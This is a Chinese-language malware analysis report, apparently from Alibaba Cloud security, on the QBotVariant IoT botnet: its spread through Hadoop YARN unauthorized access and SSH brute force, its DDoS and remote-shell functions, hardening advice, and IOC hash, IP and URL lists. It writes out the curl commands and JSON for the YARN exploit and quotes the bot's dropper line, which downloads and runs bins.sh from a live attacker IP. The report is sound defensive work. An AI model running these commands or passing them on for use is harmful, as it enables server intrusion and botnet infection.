因為看見,所以發現:QBotVariant謝絕落幕
網際網路給人帶來便捷的同時,其公開大量的資源也同樣給惡意利用者帶了便捷,越來越多公開的惡意程式原始碼降低了對外攻擊、入侵的難度,使得安全問題愈加嚴重。
阿里雲安全團隊從今年5月份監測到一BOT家族,其樣本改寫自網際網路公開渠道原始碼,在網際網路上廣泛傳播,造成了極大的危害,雲安全團隊對該類樣本做了分析、聚類、溯源,在此我們將該類樣本命名為QBotVariant。
QBotVariant具有DDoS攻擊、後門、下載器、暴力破解等功能,一旦被入侵便變成肉雞,其主要傳播方式通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞和基於弱口令的暴力破解。類似Mirai該BOT家族針對多個版本的作業系統,不僅伺服器受到危害,如CCTV監控、家庭路由等IOT裝置更容易被攻擊、入侵。Radware公司Pascal Geenens在最新的部落格《New DemonBot Discovered》中提及到該類樣本,但是他發現的IP、樣本等資訊只是該類家族的其中一個樣本,而我們從監測到30多個下載伺服器可以看出,QBotVariant多變的IP和二進位制樣本變種,使其難以發現和跟蹤。
在雲平臺上,我們監測到的QBotVariant活躍度如下,峰值的時候可以達到上千個,活躍度一直未減。
以下我們將從傳播方式、指令碼分析、樣本分析、溯源等多個角度對QBotVariant進行詳細的分析。
入侵、傳播方式
QBotVariant家族傳播的方式有兩種,一是利用Hadoop Yarn資源管理系統REST API未授權訪問漏洞進行入侵,二是通過硬編碼的弱密碼進行SSH暴力破解。Hadoop是一款由Apache基金會推出的分散式系統框架,它通過著名的MapReduce演算法進行分散式處理,Yarn是Hadoop叢集的資源管理系統。Hadoop Yarn資源管理系統配置不當導致可以未經授權進行訪問,從而被攻擊者惡意利用。攻擊者無需認證即可通過REST API部署任務來執行任意程式碼,最終完全控制伺服器。
其問題來源於對外開啟了以下作用的埠
yarn.resourcemanager.webapp.address,預設埠8088
yarn.resourcemanager.webapp.https.address,預設埠8090
通過對新申請application,如下指令
curl -v -X POST 'http://ip:port/ws/v1/cluster/apps/new-application'
再執行如下指令即可完成入侵
curl -s -i -X POST -H 'Accept:application/json' -H 'Content-Type:application/json'http://ip:port/ws/v1/cluster/apps -data-binary @example.json
其example.json檔案如下
{
"am-container-spec":{
"commands":{
"command":"執行的命令書寫在這裡"
}
},
"application-id":"application_xxxx_xxxxx",
"application-name":"test",
"application-type":"YARN"
}
指令碼分析
我們通過溯源找到了QBotVariant比較原始版本的指令碼,在原始版本的指令碼中支援wget、tftp、ftpget等指令碼的執行,從遠端下載伺服器下載指令碼並執行
bash -c cd /tmp || cd /var/run || cd /mnt || cd /root || cd /;
wget http://185.244.25.153/bins.sh; chmod 777 bins.sh; sh bins.sh;
tftp 185.244.25.153 -c get tftp1.sh; chmod 777 tftp1.sh; sh tftp1.sh;
tftp -r tftp2.sh -g 185.244.25.153; chmod 777 tftp2.sh; sh tftp2.sh;
ftpget -v -u anonymous -p anonymous -P 21 185.244.25.153 ftp1.sh ftp1.sh; sh ftp1.sh tftp1.sh tftp2.sh ftp1.sh
以下是阿里雲安全截獲的一個經過改寫的下載指令碼,從指令碼可以看出作者為了能夠很好的對IOT裝置支援,一方面編譯了不同版本的程式,通過ntpd、sshd、openssh等進行偽裝;另一方面每個命令列都加入了對busybox的支援,這些使得該類指令碼很好的支援了IOT裝置,為QBotVaraint的傳播提供了更加便捷的途徑。
在阿里雲捕獲的原始碼中有用於編譯多個版本的指令碼
QBotVariant支援版本型別及其對應二進位制名稱:
支援版本型別 |
對應二進位制名稱 |
支援版本型別 |
對應二進位制名稱 |
mips |
ntpd |
i586 |
ftp |
mipsel |
sshd |
m68k |
pftp |
sh4 |
openssh |
sparc |
sh |
x86_64 |
bash |
armv4l |
|
armv6l |
tftp |
armv5l |
apache2 |
i686 |
wget |
powerpc-440fp |
telnetd |
powerpc |
cron |
樣本分析
阿里雲截獲的多批次樣本都比較相似,都改編於QBot。某些作者為了精簡樣本或者進行殺軟對抗可能將某些功能進行裁剪,我們隨機對比兩個捕獲的樣本,如圖右邊的樣本對getRandomPublicIP函式進行了裁剪,該樣本只實現了QBot的少許功能,其檔案更小、功能更加單一。而絕大部分樣本都實現了基本功能,其傳播性、危害性等性質並未改變,部分函式如圖所示
指令分析
我們對遠控指令進行了分析,其功能如下圖所示
值得注意是StartTheLelz函式,該函式主要用於對隨機生成的IP地址進行爆破,如圖通過getRandomPublicIP函式得到隨機的IP,將硬編碼的使用者名稱和密碼儲存在結構體中,然後進行連線,其最大爆破次數通過max變數進行控制,max和檔案描述表的項數有關但最大不超過4096。
通過資料區可以看見作者集成了幾種常見的使用者名稱和密碼用於爆破
如果最終爆破成功,則會在被爆破的主機中執行如下指令碼,從而感染主機,再繼續向外傳播
除了整合常見的對外DDoS攻擊方法,QBotVariant還可以進行對外發送垃圾資料,通過sendJUNK或sendUDP即可完成該動作,如圖用於生成隨機字串的makeRandomStr函式,通過傳送大量垃圾包同樣可以造成網路頻寬阻塞。
而QBotVariant為了最大化入侵價值,同樣提供了遠端shell命令執行功能,其命令以"SH"開頭,通過fdgets、sockprintf將命令執行後的結果返回到遠控端,實現如下
樣本溯源/同源性分析
我們在對樣本分析的過程中發現一個有趣的現象,樣本為了逃避檢測,有多種不同的指令,我們選取了幾種QBotVariant的上線方式。
第一種,資訊較簡單,返回大小端、CPU架構、主機用途等資訊。
第二種,資訊比較全面,帶有作業系統、CPU架構、主機用途、埠、主機IP等資訊。
第三種,資訊最為簡單,只返回架構資訊。
第四種,返回大小端、架構資訊。
第五種,資訊比較全面,架構資訊、大小端、主機IP、主機用途等資訊。
第六種,返回主機IP、型別、版本資訊等。
第七種,返回架構、主機IP等資訊。
我們在對樣本進行溯源發現,在pastebin上存在大量該類樣本的原始碼、二進位制檔案等,其存在時間都在數月之久,作者目錄下還包括其他型別IOT蠕蟲,同時發現多個作者進行了QBot的改寫,如圖是其中一位作者的pastebin和github
QBot在國內似乎大家認知不多,但是由於原始碼簡單、客戶端小、支援多種架構,從09年活躍至今一直未間斷過,常被應用於遠控、DDoS等客戶端,在其截獲的IP中,絕大部分位於北美和歐洲各地,但是雲平臺檢測到來自國內IP的攻擊源,國內安全人員應該引起重視。
安全加固 ● 雲防火牆
開啟雲防火牆IPS攔截模式和虛擬補丁功能,雲防火牆已經支援對該類漏洞的防禦和防止暴力破解功能,使用者即使不及時修復也依然能夠進行防禦攔截。
● 網路訪問控制
使用"ECS/VPC安全組"對"受影響服務埠"訪問源IP進行控制,如果本身Hadoop環境僅對內網提供服務,請不要將Hadoop服務埠釋出到網際網路。
● 更新升級
安全建議
● 雲防火牆產品已支援防禦針對此漏洞的攻擊,建議使用者可以購買雲防火牆,開啟檢測。
● 通過安全管家服務,在阿里雲安全專家的指導下進行安全加固及優化工作,避免系統受到漏洞影響。
總結
QBotVariant通過Hadoop Yarn資源管理系統REST API未授權訪問漏洞、弱密碼口令爆破等方式進行入侵,一旦感染此類蠕蟲,不僅會佔用主機計算資源消耗頻寬流量,成為攻擊其他主機的肉雞,還可能造成資料洩露,資料丟失等後果。
阿里雲安全提醒廣大網際網路使用者,注意第三方應用的配置,防止出現此類未授權漏洞,同時加強使用者名稱和密碼的安全意識,切實保護自身資產安全。
IOC
部分MD5-檔名
檔名 |
MD5 |
185.244.25.153 |
|
YSDKOP.arm4 |
cc9de0d789efc8636946b4b41f374dfc |
YSDKOP.arm5 |
ac94604edfe7730ccf70d5cd75610d01 |
YSDKOP.arm6 |
dcb51c5abd234a41ee0439183f53fd2d |
YSDKOP.arm7 |
2416380b2fe0c693fd7c26a91b4cb8ee |
YSDKOP.i586 |
2f029723c778f15e8e825976c66e45cd |
YSDKOP.i686 |
49ec48d3afdddb098fa2c857fc63c848 |
YSDKOP.m68k |
7efef839902ca20431d58685d9075710 |
YSDKOP.mips |
eab0810535b45fa1bf0f6243dafb0373 |
YSDKOP.mpsl |
a2c4e09821be6a4594e88376b9c30b5d |
YSDKOP.ppc |
1fc61114722f301065cd9673025ce5e0 |
YSDKOP.sh4 |
38abc827e67ff53d0814979b435e2c40 |
YSDKOP.sparc |
20a38aeeffba9f0f1635c7b4b78f3727 |
YSDKOP.x86 |
8fd97d622e69b69a3331ee5ed08e71b2 |
188.166.125.19 |
|
7e9c49b9e743bcf7b382fa000c27b49d |
|
apache2 |
64394fb25494b0cadf6062a0516f7c1a |
bash |
75e7ce8c110bb132d3897b293d42116a |
cron |
e8dfae1fe29183548503dc0270878e52 |
ftp |
0e765d00f0ee174e79c81c9db812e3a2 |
ntpd |
2cb932dcb5db84dafa8cdc6b4afa52d0 |
openssh |
606a3169f099b0f2423c63b4ed3f9414 |
pftp |
6666ef216ce7434927338137760f4ab0 |
sh |
cc2e82ffbc6d5053efade4849c13099f |
sshd |
00b0a6516986aca277d0148c7ddf38c4 |
tftp |
38b075ee960d08e96b2e77205ec017de |
wget |
58c5e1bc66ac6b364639bce4b3f76c58 |
部分IP
178.128.194.222 |
178.128.7.76 |
103.214.111.122 |
130.185.250.199 |
194.182.80.200 |
138.197.74.100 |
198.199.84.119 |
104.248.165.108 |
178.128.46.254 |
159.65.227.17 |
206.189.196.216 |
80.211.109.66 |
194.48.152.114 |
159.89.114.171 |
178.128.43.104 |
185.244.25.153 |
209.97.159.10 |
46.36.37.121 |
46.29.164.242 |
46.17.47.250 |
158.69.60.239 |
195.181.223.138 |
80.211.39.186 |
188.166.125.19 |
104.248.112.122 |
212.237.26.71 |
178.128.239.252 |
104.248.212.127 |
104.248.63.168 |
部分URL及出現時間
URL |
時間 |
http://138.197.74.100/bins.sh |
20180904 |
http://80.211.39.186/bins.sh |
20180904 |
http://178.128.239.252/bins.sh |
20180908 |
http://158.69.60.239/bins/boti586final |
20180908 |
http://158.69.60.239/bins/botx86_64final |
20180908 |
http://158.69.60.239/bins/boti686final |
20180908 |
http://158.69.60.239/bins.sh |
20180908 |
http://178.128.239.252/bins.sh |
20180909 |
http://130.185.250.199/bins.sh |
20180909 |
http://46.17.47.250/xm2bash |
20180913 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180918 |
http://194.182.80.200/bins.sh |
20180919 |
http://104.248.112.122/Kuso69/Akiru.x86 |
20180919 |
http://209.97.159.10/bins.sh |
20181003 |
http://46.17.47.250/xm2wget |
20181005 |
http://185.244.25.153/bins.sh |
20181009 |
http://159.65.227.17/bins.sh |
20181009 |
http://178.128.7.76/bins.sh |
20181010 |
http://185.244.25.153/bins.sh |
20181010 |
http://104.248.212.127/bins.sh |
20181010 |
http://159.65.227.17/bins.sh |
20181010 |
http://206.189.196.216/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181010 |
http://188.166.125.19/bins.sh |
20181011 |
http://185.244.25.153/bins.sh |
20181011 |
http://178.128.7.76/bins.sh |
20181011 |
http://104.248.212.127/bins.sh |
20181011 |
http://80.211.109.66/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181012 |
http://195.181.223.138/bins.sh |
20181012 |
http://159.89.114.171/bins.sh |
20181012 |
http://178.128.7.76/bins.sh |
20181012 |
http://104.248.212.127/bins.sh |
20181012 |
http://185.244.25.153/bins.sh |
20181015 |
http://104.248.165.108/bins.sh |
20181018 |
http://198.199.84.119/bins.sh |
20181018 |
http://103.214.111.122/bins.sh |
20181019 |
http://178.128.46.254/bins.sh |
20181019 |
http://178.128.43.104/bins.sh |
20181019 |
http://104.248.63.168/vvglma |
20181021 |
http://178.128.194.222/bins.sh |
20181026 |
http://178.128.194.222/bins.sh |
20181027 |
http://178.128.194.222/bins.sh |
20181028 |
http://46.29.164.242/bins.sh |
20181031 |
http://194.48.152.114/bins.sh |
20181101 |
http://46.36.37.121/weed.sh |
20181103 |
原文連結
本文為雲棲社群原創內容,未經允許不得轉載。